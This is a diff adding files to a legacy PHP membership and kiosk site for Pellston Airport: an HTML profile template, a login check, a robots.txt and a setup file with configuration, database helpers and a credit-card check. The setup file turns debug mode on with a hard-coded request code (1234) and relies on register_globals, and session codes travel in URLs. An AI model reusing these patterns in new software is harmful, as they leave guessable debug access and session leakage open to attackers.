+ <TABLE BORDER="1">
+ <TR>
+ <TH ALIGN="right" VALIGN="top">Member</TH>
+ <TD ALIGN="left">
+ {name}<BR>
+ {address}<BR>
+ {city}, {state} {zip} {country}
+ </TD>
+ <TD ALIGN="center">
+ <TABLE BORDER="0">
+ <TR><TH>Member Type</TH><TD>{memb_type}</TD></TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TH ALIGN="right" VALIGN="top">Contact Information</TH>
+ <TD ALIGN="left">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Phone:</TH><TD>{phone}</TD></TR>
+ <TR><TH ALIGN="left">Toll Free:</TH><TD>{toll_free}</TD></TR>
+ <TR><TH ALIGN="left">Phone # for Kiosk:</TH><TD>{kiosk_phone}</TD></TR>
+ <TR><TH ALIGN="left">FAX:</TH><TD>{fax}</TD></TR>
+ </TABLE><BR>
+ </TD>
+ <TD>
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Contact E-Mail:</TH><TD><A HREF="mailto:{email}">{email}</A></TD></TR>
+ <TR><TH ALIGN="left">Processing E-Mail:</TH><TD><A HREF="mailto:{proc_email}">{proc_email}</A></TD></TR>
+ <TR><TH ALIGN="left">Web Site:</TH><TD><A HREF="http://{url}">{url}</A></TD></TR>
+ </TABLE><BR>
+ </TD>
+ </TR><TR>
+ <TH ALIGN="right" VALIGN="top">Description</TH>
+ <TD COLSPAN="2">{descr} </TD>
+ </TR><TR>
+ <TH ALIGN="right" VALIGN="top">Images</TH>
+ <TD ALIGN="center" COLSPAN=2>
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR>
+ <TD><CENTER>Image #1<BR>{image1}<BR></CENTER>{image_text1}</TD>
+ <TD><CENTER>Image #2<BR>{image2}<BR></CENTER>{image_text2}</TD>
+ <TD><CENTER>Image #3<BR>{image3}<BR></CENTER>{image_text3}</TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD COLSPAN="3" ALIGN="center"><TABLE BORDER="0" WIDTH="100%"><TR>
+ <TD ALIGN="center" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="right" VALIGN="top">Credit Cards:</TH><TD>{credit_cards}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="center" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="left">Restaurant Nearby:</TH><TD>{restnear}</TD></TR>
+ <TR><TH ALIGN="left">Restaurant:</TH><TD>{restaurant}</TD></TR>
+ <TR><TH ALIGN="left">Breakfast:</TH><TD>{breakfast}</TD></TR>
+ <TR><TH ALIGN="left">Indoor Pool:</TH><TD>{indoor_pool}</TD></TR>
+ <TR><TH ALIGN="left">Outdoor Pool:</TH><TD>{outdoor_pool}</TD></TR>
+ <TR><TH ALIGN="left">Whirlpool:</TH><TD>{whirlpool}</TD></TR>
+ <TR><TH ALIGN="left">Exercise Room:</TH><TD>{exercise}</TD></TR>
+ <TR><TH ALIGN="left">On the Water:</TH><TD>{waterfront}</TD></TR>
+ <TR><TH ALIGN="left">Conference:</TH><TD>{conference}</TD></TR>
+ <TR><TH ALIGN="left">Meeting:</TH><TD>{meeting}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="left">TV:</TH><TD>{tv}</TD></TR>
+ <TR><TH ALIGN="left">Cable:</TH><TD>{cable}</TD></TR>
+ <TR><TH ALIGN="left">In Room Spa:</TH><TD>{sauna}</TD></TR>
+ <TR><TH ALIGN="left">Movies:</TH><TD>{movies}</TD></TR>
+ <TR><TH ALIGN="left">Pets:</TH><TD>{pets}</TD></TR>
+ <TR><TH ALIGN="left">Barrier Free:</TH><TD>{barrierfree}</TD></TR>
+ <TR><TH ALIGN="left">Beach Access:</TH><TD>{beachaccess}</TD></TR>
+ <TR><TH ALIGN="left">Efficiencies:</TH><TD>{eff}</TD></TR>
+ <TR><TH ALIGN="left">Smoke Free Rooms:</TH><TD>{smokefree}</TD></TR>
+ </TABLE>
+ </TD>
+ </TR>
+ </TABLE>
+ '
+ );
+
+ break;
+
+ default:
+
+ break;
+
+ } // switch( $Option )
+ break;
+
+ default:
+ echo '
+ Please return to member login.
+ <P>
+ <A HREF="index.phtml">[Continue]</A>
+ ';
+ break;
+
+
+}
+
+
+echo '
+</BODY>
+</HTML>
+';
+
+?>
--- /dev/null
+<?
+if( !($d = admin_user_login( "verify", CONN_STR, $session_code, "member", "user_id", "user_pw" ) ) )
+ {
+ echo '<CENTER>
+ <FONT SIZE="4" COLOR="red">Sorry, you\'re not logged in<P></FONT>
+ <A HREF="'.URL_BASE.'/members/index.phtml" TARGET="_top">LOG IN</A>
+ </CENTER>
+ </BODY>
+ </HTML>
+ ';
+ exit;
+ }
+else
+{
+ $session_code = $d["session_code"];
+ $member = $d["id"];
+}
+echo ' <center><font face="verdana,arial,helvetica" size="2">
+<A HREF="'.BASE_URL.'members/member_action.phtml?Action=Member&Option=View&session_code='.$session_code.'"><br>[Update Your Information]</A></center>';
+ ?>
--- /dev/null
+User-agent: *
+Disallow: /uploads/
--- /dev/null
+<?php
+ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+ Media Toolbox(R)
+ Setup.phtml file includes the functions that were in the functions.inc
+ and siteinfo.inc file into one file.
+ All set up stuff is on the top of the page.
+
+ $Id: setup.phtml,v 1.8 2011/05/18 12:31:43 cscott Exp $
+ */
+
+if( !isset($SITEINFO) )
+ {
+
+ if(!isset($DEBUG))
+ {
+ $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+ }
+ // setup for pages
+ define("HOME_ID",1); // change this if home page is other than id = 1
+ $PAGES['default'] = 'index';
+ $PAGES[1] = 'index';
+ //$DEBUG = TRUE;
+
+ /*
+ * Customer Setup
+ */
+ define("SITENAME","Pellston Airport Kiosk"); // used for outputing name of site in admin area
+ define("SITE_NAME",SITENAME); // same as SITENAME
+ define("DB_TYPE", "postgres"); // DB library only knows postgres (FUTURE EXPANSION)
+ define("DB_ERROR_MSG", "an error has occured with the database!"); // default error message
+ define("MULTIPLE_CAT",0); // weather or not to use many to many relations
+ define("CAT_LOCK",0); // If set to 1 or true will lock the categories
+ define("ENTRIES_PER_PAGE",10); // default per page number
+ define("HTML_HELP_CODE",1); // this is being depreciated for general help guides
+ define("PRODUCTION_MODE","ON"); // used in the email out for contact DB
+ define("HTML_EMAIL","ON"); // turn ON for html emails
+ define("ACTIVE_FLAG",1); // turn on if bus_category table has active bool field
+ define("DELUXE_TOOLBOX",1); // used for the toolbox deluxe vrs.
+ define("SEO_URL",1); // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+ define("PHOTO_GALLERY",0);
+ define("MEMBERS_CATEGORY",1000);
+ /** htmlarea plugins */
+ define("HTMLAREA_TABLES",true); // weather to load the table plugin or not
+ define("HTMLAREA_CONTEXT_MENU",true); // weather to load the context menu plugin or not
+ define("HTMLAREA_IMAGE_MANAGER",true);
+ define("HTMLAREA_CHARACTER_MAP",false);
+ define("HOME_PAGE_EVENTS",0);
+ define( "SI_SES_TIMEOUT", "86400" ); // Session timeout - 1 Hour
+ /*
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ */
+
+ // Find where this file is located
+
+ $BASE_PATH = dirname( __FILE__ );
+
+ $CALLED_FROM_DIR = substr( dirname($HTTP_SERVER_VARS["PATH_TRANSLATED"]), strlen($BASE_PATH) );
+
+ if( ($x = strlen($CALLED_FROM_DIR)) > 0 )
+ $base_url = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($CALLED_FROM_DIR) );
+ else
+ {
+ $script_name_dir = dirname($SCRIPT_NAME);
+ if( $script_name_dir == "/" )
+ $script_name_dir = "";
+ $base_url = $HTTP_HOST.$script_name_dir;
+ }
+ $BASE_URL = "http://".$base_url;
+ // Indicate that this file has been referenced
+ $SITEINFO = TRUE;
+ /*
+ *
+ * Dynamic Configuration - Parameters that DO change based on location
+ *
+ */
+ switch( $GLM_SERVER_ID )
+ {
+
+ case "devsys.gaslightmedia.com":
+ ini_set("display_errors","1");
+ // Use the $BASE_URL for secure URL on Devsys
+ $BASE_SECURE_URL = $BASE_URL;
+ define("CONN_STR","host=devsys dbname=pellstonairport");
+ define("OWNER_EMAIL", "steve@gaslightmedia.com"); // site owner's email address
+ define("FROM_NEWS_EMAIL", "info@gaslightmedia.com"); // site owner's email address
+ define("REPLY_TO", "info@gaslightmedia.com"); // the reply-to field for email's
+ break;
+
+ case "ws1.gaslightmedia.com":
+ error_reporting(0);
+ ini_set("display_errors","0");
+ $BASE_SECURE_URL = "https://ws1.gaslightmedia.com/pellstonairport";
+ // for some sites it is necesary to change base_url when in secure mode
+ if( $_SERVER['HTTPS'] == "on" )
+ {
+ $BASE_URL = 'http://www.pellstonairport.com';
+ define("BASE_SECURE_URL", $BASE_SECURE_URL."/"); // url used for the secur site
+ //$BASE_URL = "http://".$base_url; // This needs to be set to the real url ie. http://www.upnorth.net
+ }
+ define("CONN_STR","host=ds4 dbname=pellstonairport");
+ define("OWNER_EMAIL", "PellstonKiosk@emmetcounty.org"); // site owner's email address
+ define("FROM_NEWS_EMAIL", "info@gaslightmedia.com"); // site owner's email address
+ define("REPLY_TO", "PellstonKiosk@emmetcounty.org"); // the reply-to field for email's
+ break;
+
+ default: // There should be no need for any settings here
+ break;
+
+ }
+ define("BASE_URL", $BASE_URL."/"); // url used for the root of site
+ define("BASE_SECURE_URL", $BASE_SECURE_URL."/"); // url used for the root of site
+ define("URL_BASE", $BASE_URL."/"); // same as BASE_URL
+ define("BASE_PATH", $BASE_PATH."/"); // root directory path of site
+ define("BASE", $BASE_PATH."/"); // same as BASE_PATH
+ define("HELP_BASE", "help/"); // help guide base (depreciated)
+ define("UP_BASE", BASE."uploads/"); // uploads directory path
+ define("IMG_BASE", URL_BASE."images/"); // the images url path
+ define("POSTCARD_URL",URL."postcard.phtml"); // postcard url (used for postcard app)
+ define("LOGO_IMG",URL_BASE."images/logoicon.gif"); // used in admin area as the path to image logo
+ define("HELP_IMG",URL_BASE."images/help.gif"); // help image url (depriated)
+ define("ORIGINAL_PATH", BASE."images/original/"); // path of original images
+ define("BANNER_PATH", BASE."images/banner/"); // path of original images
+ define("RESIZED_PATH", BASE."images/resized/"); // path of first resized image
+ define("MIDSIZED_PATH", BASE."images/midsized/"); // path of half sized of resized
+ define("THUMB_PATH", BASE."images/thumb/"); // path of thumbnail directory
+ if( $_SERVER['HTTPS'] == "on" )
+ {
+ define("ORIGINAL", $BASE_SECURE_URL."/images/original/"); // url of original images
+ define("BANNER", $BASE_SECURE_URL."/images/banner/"); // url of original images
+ define("RESIZED", $BASE_SECURE_URL."/images/resized/"); // url of resized
+ define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/"); // url of midsized
+ define("THUMB", $BASE_SECURE_URL."/images/thumb/"); // url of thumbnail
+ }
+ else
+ {
+ define("ORIGINAL", URL_BASE."images/original/"); // url of original images
+ define("BANNER", URL_BASE."images/banner/"); // url of original images
+ define("RESIZED", URL_BASE."images/resized/"); // url of resized
+ define("MIDSIZED", URL_BASE."images/midsized/"); // url of midsized
+ define("THUMB", URL_BASE."images/thumb/"); // url of thumbnail
+ }
+
+ /** these are the image sizing defines USE THESE ONLY
+ only allowed string of 'WxH[<>]' [-quality Percentage]
+ */
+ define("ITEM_BANNER", "'468>'"); // used in convert call to resize images
+ define("ITEM_RESIZED", "'287>'"); // used in convert call to resize images
+ define("ITEM_MIDSIZED", "'197x145>'");
+ define("ITEM_THUMB","'120>'");
+
+ define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+ define("FOOTER_URL", URL_BASE);
+ define("STYLE","main.css");
+
+ /**
+ These are defines for the photo gallery images
+ */
+ define('PHOTO_LARGE_SIZE',"'430x300>'");
+ define('PHOTO_LARGE_DIR',BASE.'images/photo-large/');
+ define('PHOTO_LARGE_URL',BASE_URL.'images/photo-large/');
+
+ define('PHOTO_SMALL_SIZE',"'133x100>'");
+ define('PHOTO_SMALL_DIR',BASE.'images/photo-small/');
+ define('PHOTO_SMALL_URL',BASE_URL.'images/photo-small/');
+ $cp1252_map = array(
+ "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
+ "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
+ "\xc2\x83" => "\xc6\x92", /* LATIN SMALL LETTER F WITH HOOK */
+ "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
+ "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
+ "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
+ "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
+ "\xc2\x88" => "\xcb\x86", /* MODIFIER LETTER CIRCUMFLEX ACCENT */
+ "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
+ "\xc2\x8a" => "\xc5\xa0", /* LATIN CAPITAL LETTER S WITH CARON */
+ "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
+ "\xc2\x8c" => "\xc5\x92", /* LATIN CAPITAL LIGATURE OE */
+ "\xc2\x8e" => "\xc5\xbd", /* LATIN CAPITAL LETTER Z WITH CARON */
+ "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
+ "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
+ "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
+ "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
+ "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
+ "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
+ "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */
+
+ "\xc2\x98" => "\xcb\x9c", /* SMALL TILDE */
+ "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
+ "\xc2\x9a" => "\xc5\xa1", /* LATIN SMALL LETTER S WITH CARON */
+ "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
+ "\xc2\x9c" => "\xc5\x93", /* LATIN SMALL LIGATURE OE */
+ "\xc2\x9e" => "\xc5\xbe", /* LATIN SMALL LETTER Z WITH CARON */
+ "\xc2\x9f" => "\xc5\xb8" /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
+ );
+ /**
+ * is_utf8
+ *
+ * @param mixed $string
+ * @access public
+ * @return void
+ */
+ function is_utf8($string) {
+ return (preg_match('/^([\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xec][\x80-\xbf]{2}|\xed[\x80-\x9f][\x80-\xbf]|[\xee-\xef][\x80-\xbf]{2}|f0[\x90-\xbf][\x80-\xbf]{2}|[\xf1-\xf3][\x80-\xbf]{3}|\xf4[\x80-\x8f][\x80-\xbf]{2})*$/', $string) === 1);
+ }
+ /**
+ * cp1252_to_utf8
+ *
+ * @param mixed $str
+ * @access public
+ * @return void
+ */
+ function cp1252_to_utf8($str) {
+ global $cp1252_map;
+ return strtr(utf8_encode($str), $cp1252_map);
+ }
+ /**
+ * myEncode
+ *
+ * @param mixed $string
+ * @access public
+ * @return void
+ */
+ function myEncode( $string )
+ {
+ if( is_utf8( $string ) )
+ {
+ return( $string );
+ }
+ else
+ {
+ return( cp1252_to_utf8( $string ) );
+ }
+ }
+ // [status_US] array of states and their abbr.
+ $states_US[""] = "- Choose State -";
+ $states_US["AL"]= "Alabama";
+ $states_US["AK"]= "Alaska";
+ $states_US["AZ"]= "Arizona";
+ $states_US["AR"]= "Arkansas";
+ $states_US["CA"]= "California";
+ $states_US["CO"]= "Colorado";
+ $states_US["CT"]= "Connecticut";
+ $states_US["DE"]= "Delaware";
+ $states_US["DC"]= "District of Columbia";
+ $states_US["FL"]= "Florida";
+ $states_US["GA"]= "Georgia";
+ $states_US["HI"]= "Hawaii";
+ $states_US["ID"]= "Idaho";
+ $states_US["IL"]= "Illinois";
+ $states_US["IN"]= "Indiana";
+ $states_US["IA"]= "Iowa";
+ $states_US["KS"]= "Kansas";
+ $states_US["KY"]= "Kentucky";
+ $states_US["LA"]= "Louisiana";
+ $states_US["ME"]= "Maine";
+ $states_US["MD"]= "Maryland";
+ $states_US["MA"]= "Massachusetts";
+ $states_US["MI"]= "Michigan";
+ $states_US["MN"]= "Minnesota";
+ $states_US["MS"]= "Mississppi";
+ $states_US["MO"]= "Missouri";
+ $states_US["MT"]= "Montana";
+ $states_US["NE"]= "Nebraska";
+ $states_US["NV"]= "Nevada";
+ $states_US["NH"]= "New Hampshire";
+ $states_US["NJ"]= "New Jersey";
+ $states_US["NM"]= "New Mexico";
+ $states_US["NY"]= "New York";
+ $states_US["NC"]= "North Carolina";
+ $states_US["ND"]= "North Dakota";
+ $states_US["OH"]= "Ohio";
+ $states_US["OK"]= "Oklahoma";
+ $states_US["OR"]= "Oregon";
+ $states_US["PA"]= "Pennsylvania";
+ $states_US["RI"]= "Rhode Island";
+ $states_US["SC"]= "South Carolina";
+ $states_US["SD"]= "South Dakota";
+ $states_US["TN"]= "Tennessee";
+ $states_US["TX"]= "Texas";
+ $states_US["UT"]= "Utah";
+ $states_US["VT"]= "Vermont";
+ $states_US["VA"]= "Virginia";
+ $states_US["WA"]= "Washington";
+ $states_US["WV"]= "West Virginia";
+ $states_US["WI"]= "Wisconsin";
+ $states_US["WY"]= "Wyoming";
+
+ // [states] extended states array
+ $states["AL"] = "Alabama";
+ $states["AK"] = "Alaska";
+ $states["AB"] = "Alberta";
+ $states["AS"] = "American Samoa";
+ $states["AZ"] = "Arizona";
+ $states["AR"] = "Arkansas";
+ $states["BC"] = "British Columbia";
+ $states["CA"] = "California";
+ $states["CO"] = "Colorado";
+ $states["CT"] = "Connecticut";
+ $states["DE"] = "Delaware";
+ $states["DC"] = "District of Columbia";
+ $states["FM"] = "Federated States of Micronesia";
+ $states["FL"] = "Florida";
+ $states["GA"] = "Georgia";
+ $states["GU"] = "Guam";
+ $states["HI"] = "Hawaii";
+ $states["ID"] = "Idaho";
+ $states["IL"] = "Illinois";
+ $states["IN"] = "Indiana";
+ $states["IA"] = "Iowa";
+ $states["KS"] = "Kansas";
+ $states["KY"] = "Kentucky";
+ $states["LA"] = "Louisiana";
+ $states["ME"] = "Maine";
+ $states["MB"] = "Manitoba";
+ $states["MH"] = "Marshall Islands";
+ $states["MD"] = "Maryland";
+ $states["MA"] = "Massachusetts";
+ $states["MI"] = "Michigan";
+ $states["MN"] = "Minnesota";
+ $states["MS"] = "Mississppi";
+ $states["MO"] = "Missouri";
+ $states["MT"] = "Montana";
+ $states["NE"] = "Nebraska";
+ $states["NV"] = "Nevada";
+ $states["NB"] = "New Brunswick";
+ $states["NF"] = "Newfoundland";
+ $states["NH"] = "New Hampshire";
+ $states["NJ"] = "New Jersey";
+ $states["NM"] = "New Mexico";
+ $states["NY"] = "New York";
+ $states["NC"] = "North Carolina";
+ $states["ND"] = "North Dakota";
+ $states["MP"] = "Northern Mariana Islands";
+ $states["NT"] = "Northwest Territories";
+ $states["NS"] = "Nova Scotia";
+ $states["OH"] = "Ohio";
+ $states["OK"] = "Oklahoma";
+ $states["ON"] = "Ontario";
+ $states["OR"] = "Oregon";
+ $states["PW"] = "Palau";
+ $states["PA"] = "Pennsylvania";
+ $states["PE"] = "Prince Edward Island";
+ $states["PR"] = "Puerto Rico";
+ $states["QC"] = "Quebec";
+ $states["RI"] = "Rhode Island";
+ $states["SK"] = "Saskatchewan";
+ $states["SC"] = "South Carolina";
+ $states["SD"] = "South Dakota";
+ $states["TN"] = "Tennessee";
+ $states["TX"] = "Texas";
+ $states["UT"] = "Utah";
+ $states["VT"] = "Vermont";
+ $states["VI"] = "Virgin Islands";
+ $states["VA"] = "Virginia";
+ $states["WA"] = "Washington";
+ $states["WV"] = "West Virginia";
+ $states["WI"] = "Wisconsin";
+ $states["WY"] = "Wyoming";
+ $states["YT"] = "Yukon";
+ $states["Asia"] = "Asia";
+ $states["Australia"] = "Australia";
+ $states["Bahamas"] = "Bahamas";
+ $states["Caribbean"] = "Caribbean";
+ $states["Costa Rica"] = "Costa Rica";
+ $states["South America"] = "South America";
+ $states["South Africa"] = "South Africa";
+ $states["Europe"] = "Europe";
+ $states["Mexico"] = "Mexico";
+ /* Libraries */
+ /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+
+
+ /**
+ * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+ card type is given, attempts to guess. Then, if a list of
+ accepted types is given, determines whether or not we'll
+ accept it
+ * @param $Num: Credit Card Number
+ * @param $Name = '': Type of Card
+ * @param $Accepted='' : Accepted array
+ *
+ * @return bool
+ * @access
+ **/
+ function CreditVal($Num, $Name = '', $Accepted='')
+ {
+ $Name = strtolower( $Name );
+ $Accepted = strtolower( $Accepted );
+ $GoodCard = 1;
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+ switch ($Name)
+ {
+
+ case "mastercard" :
+ $GoodCard = ereg("^5[1-5].{14}$", $Num);
+ break;
+
+ case "visa" :
+ $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num);
+ break;
+
+ case "americanexpress" :
+ $GoodCard = ereg("^3[47].{13}$", $Num);
+ break;
+
+ case "discover" :
+ $GoodCard = ereg("^6011.{12}$", $Num);
+ break;
+
+ case "dinerscard" :
+ $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num);
+ break;
+
+ default:
+ if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+ if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+ if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+ if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+ if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+ break;
+ }
+
+ // If there's a limit on card types we accept, check for it here.
+ if( $Accepted )
+ {
+ $type_verified = FALSE;
+ $brands = explode_trim( ",", $Accepted );
+ foreach( $brands as $brand )
+ if( $Name == $brand )
+ $type_verified = TRUE;
+
+ if( !$type_verified ) return(FALSE);
+ }
+
+ $Num = strrev($Num);
+
+ $Total = 0;
+
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ $Total += $digit;
+ }
+ if ($GoodCard && $Total % 10 == 0)
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+ /* DataBase Library */
+
+ /**
+ * db_connect :Creates a connection to database specified $conn_str
+ * @param $conn="" : connection string
+ *
+ * @return index or bool
+ * @access
+ **/
+ function db_connect($conn="")
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn = CONN_STR;
+ $ret = pg_connect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_close :Closes the connection to database specified by the handle dbd
+ * @param $$dbd : database handle
+ *
+ * @return bool
+ * @access
+ **/
+ function db_close($dbd)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_close($dbd);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ NOTICE DON'T USE THIS
+ * db_pconnect :Creates a persistant connection to database specified in $conn_str
+ * @param $$conn="" : connection string
+ *
+ * @return
+ * @access
+ **/
+ function db_pconnect($conn="")
+ {
+ return( false );
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn == CONN_STR;
+ $ret = pg_pconnect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_exec : Execute an SQL query
+ * @param $dbd: database handle
+ * @param $$qs : Query
+ *
+ * @return int Returns a valid result index on success 0 on failure
+ * @access
+ **/
+ function db_exec($dbd, $qs)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_exec($dbd, $qs);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_fetch_array :Stores the data in associative indices, using the field names as
+ * keys.
+ * @param $res: valid database result index
+ * @param $i: row number
+ * @param $$type : database type
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_fetch_array($res, $i, $type)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($row);
+ }
+
+ /**
+ * db_freeresult :Free result memory.
+ * @param $$res : valid database result index
+ *
+ * @return bool - Returns 1 for success 0 for failure
+ * @access
+ **/
+ function db_freeresult($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_freeresult($res);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_numrows :Determine number of rows in a result index
+ * @param $$res : valid database result index
+ *
+ * @return int - Returns number of rows
+ * @access
+ **/
+ function db_numrows($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_numrows($res);
+ break;
+
+ default:
+ return(-1);
+ }
+
+ return($ret);
+ }
+
+ /************************************************************************
+ * *
+ * BEGIN Auto functions *
+ * *
+ ***********************************************************************/
+
+ /**
+ * db_auto_array :The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ * @param $qs: SQL query string
+ * @param $i: row number
+ * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ *
+ * @return array - Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_array($qs, $i, $type)
+ {
+
+ $dbd = db_connect();
+ if(!$dbd)
+ {
+ return(0);
+ }
+ $res = db_exec($dbd, $qs);
+ if(!$res)
+ {
+ return(0);
+ }
+
+ $row = db_fetch_array($res, $i, $type);
+
+ if(!db_freeresult($res))
+ {
+ return(0);
+ }
+
+ db_close($dbd);
+ return($row);
+ }
+
+ /**
+ * db_auto_exec :The auto function for executing a query.
+ * This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns success (not a valid result index)
+ * @param $qs: SQL query string
+ * @param $$conn="" : Connect String
+ *
+ * @return int - Returns 1 (or oid, if available) for success 0 for failure
+ * @access
+ **/
+ function db_auto_exec($qs, $conn="")
+ {
+
+ if($conn == "")
+ $conn = CONN_STR;
+ $dbd = db_connect($conn);
+ if(!$dbd)
+ return(0);
+ if(!db_exec($dbd, $qs))
+ {
+ db_close($dbd);
+ return(0);
+ }
+ else
+ {
+ db_close($dbd);
+ return(1);
+ }
+ }
+
+ /**
+ * db_auto_get_data :The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ * @param $qs: SQL query string
+ * @param $CONN_STR: Connect String
+ * @param $$fail_mode=0 : Failure Mode
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0)
+ {
+
+ if( !($dbd = db_connect($conn)) )
+ {
+ return( FALSE );
+ }
+
+ if( !($res = db_exec($dbd, $qs)) )
+ {
+ return( FALSE );
+ }
+
+ $totalrows = pg_NumRows($res);
+
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+ }
+
+ db_close( $dbd );
+ if(isset($data) && $data!="")
+ {
+ return( $data );
+ }
+ else
+ {
+ return(0);
+ }
+ }
+
+ /* HTML Libraries */
+
+ /**
+ * html_footer :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ *
+ * @return void
+ * @access
+ **/
+ function html_footer()
+ {
+ $footer_table_width = "400";
+ $footer_table_align = "center";
+
+ ?>
+ <hr>
+ <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+ <tr>
+ <td align="left" class="footertd">
+ <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+ </td>
+ <td align="right" class="footertd">
+ <a href="<?echo FOOTER_URL?>" target="new">
+ <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ <?
+ exit(); /* we've got to terminate any more output */
+ }
+
+ /**
+ * html_error :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ * @param $msg: string error message to be displayed
+ * @param $$bail : bool whether or not to exit() after $msg
+ *
+ * @return void
+ * @access
+ **/
+ function html_error($msg, $bail)
+ {
+ ?>
+ <table summary="Error Information" class="errortable" cellspacing="0">
+ <tr class="errortr">
+ <td class="errortd">
+ <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+ </td>
+ </tr>
+ </table>
+
+ <?
+ if($bail)
+ {
+ html_footer();
+ }
+ }
+
+ /**
+ * html_nav_table :Generates a navigation table on the page it's called on.
+ * @param $nav: associative array with entries like:$nav[text][url]
+ * @param $$w : max width of table
+ *
+ * @return void
+ * @access
+ **/
+ function html_nav_table($nav, $w)
+ {
+ if( is_array( $nav ) )
+ {
